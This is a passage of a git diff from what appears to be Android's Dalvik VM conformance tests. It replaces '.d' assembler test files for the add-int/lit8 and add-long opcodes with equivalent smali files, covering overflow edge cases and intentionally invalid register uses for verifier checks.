--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_3.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit8 v0, v1, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali
new file mode 100644
index 0000000..5465e2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.d
deleted file mode 100644
index a3fd7dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_4.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -2147483647
-       add-int/lit8 v0, v1, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali
new file mode 100644
index 0000000..ba14f26
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -2147483647
+       add-int/lit8 v0, v1, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.d
deleted file mode 100644
index ab9f0ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_5.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0x7ffffffe
-       add-int/lit8 v0, v1, 2
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java
index 6691276..8f22f7f 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.java
@@ -18,6 +18,7 @@
 
 public class T_add_int_lit8_5 {
 
+    @SuppressWarnings("ConstantOverflow")
     public int run() {
         return 0x7ffffffe + 2;
     }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali
new file mode 100644
index 0000000..3ed0b0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0x7ffffffe
+       add-int/lit8 v0, v1, 2
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.d
deleted file mode 100644
index 4ea7fdb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_6.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali
new file mode 100644
index 0000000..c79b07f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.d
deleted file mode 100644
index 01fdc0c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_7.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 0
-       add-int/lit8 v0, v1, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali
new file mode 100644
index 0000000..cd50c4c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 0
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.d
deleted file mode 100644
index 75d74b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_8.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit8 v0, v1, 127
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali
new file mode 100644
index 0000000..83bf900
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit8 v0, v1, 127
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.d
deleted file mode 100644
index a28afd0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_int_lit8_9.java
-.class public dot.junit.opcodes.add_int_lit8.d.T_add_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, 2147483647
-       add-int/lit8 v0, v1, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali
new file mode 100644
index 0000000..3a01685
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/add_int_lit8/d/T_add_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, 2147483647
+       add-int/lit8 v0, v1, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.d
deleted file mode 100644
index 2dc5518..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_1.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali
new file mode 100644
index 0000000..7641a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_1.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.d
deleted file mode 100644
index 83eaa73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_2.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali
new file mode 100644
index 0000000..3d50caf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_2.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       add-long v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.d
deleted file mode 100644
index 3935188..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_3.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v5, 12345
-       add-long v0, v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali
new file mode 100644
index 0000000..ec746d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_long_3.java"
+.class  public Ldot/junit/opcodes/add_long/d/T_add_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       const v5, 12345
+       add-long v0, v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d
deleted file mode 100644
index 9dab202..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_4.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       const v5, 12345.0
-       add-long v0, v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.smali
new file mode 100644
index 0000000..32e5468
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_long/d/T_add_long_4;
+.super Ljava/lang/Object;
+.source "T_add_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e400    # 12345.0f
+
+    add-long v0, p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.d
deleted file mode 100644
index 5c57aeb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_long_5.java
-.class public dot.junit.opcodes.add_long.d.T_add_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       add-long v0, v2, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali
new file mode 100644
index 0000000..7e2382c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_long/d/T_add_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
